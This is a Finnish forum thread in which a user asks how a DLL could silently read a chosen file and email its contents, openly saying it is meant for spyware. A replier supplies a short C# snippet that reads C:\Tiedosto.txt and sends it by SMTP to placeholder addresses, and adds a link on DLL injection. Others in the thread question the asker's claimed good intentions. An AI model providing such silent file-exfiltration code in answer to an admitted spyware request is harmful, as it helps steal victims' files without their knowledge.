Miten dll tiedostolla voi lähettää sähköpostia niin, että se ensin lukee jonkun tietyn tiedoston sisällön ja sitten lähettää määriteltyyn sähköpostiosoitteeseen tiedsoton tekstin? Ja siis ilman mitään ilmoituksia. En löytänyt googlella vastauksia. Joku varmaan arvasikin, että tämä tulee spyware käyttöön. No. Mutta huomatkaa ennaltamääritelty tiedosto. Kukaan tuskin laittaa työpöydälle jotaki passwords.txt tiedostoa ja sinne salasanoja. Tadon vain testata mitä pystyn tuosta kehittelemään. En ole mikään hacceri, ´vaan pikemminkin päinvastoin. Ensin opettelen hacceriksi ja sitten tuhoan muiden tekeleet. Tai sitten etsin tietoturva-aukot joistain softista ja kerron niistä softan kehittäjälle.
DLL-tiedosto ei yleensä itsekseen tee mitään, vaan jonkin ohjelman pitää käyttää sitä. Muuten DLL-tiedostojen sisältö kyllä on aivan samanlaista kuin tavallisten ohjelmienkin, joten tiedoston luku ja sähköpostin lähetys tapahtuvat aivan normaalisti.
En usko koskaan ihmisiä ketkä näin sanovat.. Tunnen vain yhden ihmisen itse mikä tekee sitä työkseen, mutta ennen kuin hän aloitti etsimään aukkoja työkseen hän etsi ilmaiseksi, mutta hetken päsätä hän mursi kaikkea ja tunketui jokapaikkaan mihin vain vähänkin pääsi.. sitten hän päätti rauhoittua ja nykyään tekee "työkseen" sitä joillekkin sisäpiireille. =)
En minä ole mitään murtamassa tuolleen että oi ku on aukko. Meenpä ja pöllin tostaki pankista rahaa... Ei ollenkaan. Ei ei ei. Aijon auttaa.
Paratiisin poika kirjoitti:
En ole mikään hacceri, ´vaan pikemminkin päinvastoin.
No se on kyllä huomattu. Hakkerille yksi tyypillinen ominaisuus on, että hän osaa etsiä ja hyödyntää tietoa itsenäisesti.
Netistä löytyy tuhansia tapoja tehdä kysymäsi asia ja ne löytyy hyvinkin helposti vaikka googlella.
Muutenkin sekä tiedoston lukeminen muuttujaan, että sähköpostin lähetys on millä vaan nykyisellä ohjelmointityökalulla niin peruskauraa, että ei pitäisi olla mitään ongelmaa ilman Googleakaan.
Tässä nyt esimerkiksi asian tekeminen C#:lla
var message = new System.Net.Mail.MailMessage( "lahettaja@osoite.com", "vastaanottaja@osoite.com", "Viestin otsikko", System.IO.File.ReadAllText(@"C:\Tiedosto.txt")); new System.Net.Mail.SmtpClient("smtp.operaattorisi.com").Send(message);
http://msdn.microsoft.com/en-us/library/ms682583(v=vs.85).aspx
http://msdn.microsoft.com/en-us/library/ms680553(v=vs.85).aspx
http://en.wikipedia.org/wiki/DLL_injection
Google is your friend..
Sittten kysyn että onko maharollista kääntää tota C juttu koodii ilman mitää special ohjelmii vai pitääks mun dowata joku softa jostain pagest?
Toi kieli on c# eikä c... Tarviit visual studion, että voit koodata tota, sen voi ladata ilmaiseksi mikkisoftan sivuilta.
Niin ja esimerkin tarkoitushan ei ollut se, että juuri sitä pitäisi käyttää, vaan näyttää miten helppo asia kyseessä on. Sama helppous pätee siis muihinkin nykyaikaisiin kieliin.
Aihe on jo aika vanha, joten et voi enää vastata siihen.